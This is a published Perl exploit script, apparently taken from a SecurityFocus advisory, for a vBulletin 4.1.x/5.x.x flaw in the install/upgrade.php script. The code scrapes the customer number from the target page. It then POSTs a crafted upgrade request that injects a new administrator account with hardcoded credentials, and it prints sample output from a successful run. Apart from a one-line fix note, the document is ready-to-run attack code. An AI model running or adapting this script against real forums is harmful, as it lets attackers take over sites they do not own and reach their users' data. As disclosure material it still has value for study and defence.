source: https://www.securityfocus.com/bid/62909/info

vBulletin is prone to a security-bypass vulnerability.

Successful exploits can allow attackers to bypass certain security restrictions and perform unauthorized actions. 

#!/usr/bin/perl
#
# Title: vBulletin remote admin injection exploit
# Author: Simo Ben youssef
# Contact: Simo_at_Morxploit_com
# Coded: 17 September 2013
# Published: 24 October 2013
# MorXploit Research
# http://www.MorXploit.com
#
# Vendor: vBulletin (www.vbulletin.com)
# Version: 4.1.x / 5.x.x
# Vulnerability: Remote admin injection
# Severity: High
# Status: Confirmed
#
# Exploit code description:
# Perl code to inject a new admin account through upgrade.php script.
#
# Vulnerability details:
# upgrade.php is vulnerable to a new admin account injection, the script doesn't require autentication when upgrading
# it only requires the customer number which can be extracted through the same script source code.
#
# Fix:
# Rename or delete the install folder until a fix is released.
#
# Author disclaimer:
# The information contained in this entire document is for educational, demonstration and testing purposes only.
# Author cannot be held responsible for any malicious use. Use at your own risk.
#
# Exploit usage:
#
# root@MorXploit:/home/simo/morx# perl morxvb.pl localhost
#
# ===================================================
# --- vbulletin admin injection exploit
# --- By: Simo Ben youssef <simo_at_morxploit_com>
# --- MorXploit Research www.MorXploit.com
# ===================================================
# [*] Trying to get customer number ... hold on!
# [+] Got xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!
# [*] Trying to MorXploit localhost ... hold on!
# [+] Admin account successfully injected!
# [+] Admin: MorXploit
# [+] Pass: m0rxpl017

use strict;
use IO::Socket;

if(!defined($ARGV[0])) {

system ('clear');
print "\n";
print "===================================================\n";
print "--- vbulletin admin injection exploit\n";
print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";
print "--- MorXploit Research www.MorXploit.com\n";
print "===================================================\n";

print "--- Usage: perl $0 target\n\n";
exit; }

my $site = $ARGV[0];

##### Change these as needed #####
my $user = "MorXploit";
my $passwd = "m0rxpl017";
my $email = "dev%40null.com";
my $path = "/install/upgrade.php";
##################################

my $accept = "Accept: */*";
my $ct = "application/x-www-form-urlencoded";
my $port = "80";

system ('clear');
print "\n";
print "===================================================\n";
print "--- vbulletin admin injection exploit\n";
print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";
print "--- MorXploit Research www.MorXploit.com\n";
print "===================================================\n";

my $sock = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;

print "[*] Trying to get customer number ... hold on!\n";

print $sock "GET $path HTTP/1.1\n";
print $sock "Host: $site\n";
print $sock "$accept\n";
print $sock "Content-Type: $ct\n";
print $sock "Connection: Close\n\n";

my $gotcn;
while(my $cn = <$sock>) {
if ($cn =~ /CUSTNUMBER = \"(.*?)\"/){
$gotcn = $1;
}
}

if (!defined $gotcn) {
print "[-] Failed to get customer number! Nulled? Going to try anyway!\n";
}
else {
print "[+] Got $gotcn!\n";
}
my $xploit = "ajax=1&version=install&checktable=false&firstrun=false&step=7&startat=0
&only=false&customerid=$gotcn&options[skiptemplatemerge]=0&response=yes&
htmlsubmit=1&htmldata[username]=$user&htmldata[password]=$passwd&htmldat
a[confirmpassword]=$passwd&htmldata[email]=$email";
my $cl = length($xploit);
my $content = "Content-Length: $cl";

my $sock2 = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;

print "[*] Trying to MorXploit $site ... hold on!\n";

print $sock2 "POST $path HTTP/1.1\n";
print $sock2 "Host: $site\n";
print $sock2 "$accept\n";
print $sock2 "Cookie: bbcustomerid=$gotcn\n";
print $sock2 "Content-Length: $cl\n";
print $sock2 "Content-Type: $ct\n";
print $sock2 "Connection: Close\n\n";
print $sock2 "$xploit\n\n";

while(my $result = <$sock2>){
if ($result =~ /Administrator account created/) {
print "[+] Admin account successfully injected!\n";
print "[+] Admin: $user\n";
print "[+] Pass: $passwd\n";
exit;
}
}
print "[-] Failed, something went wrong\n";
exit;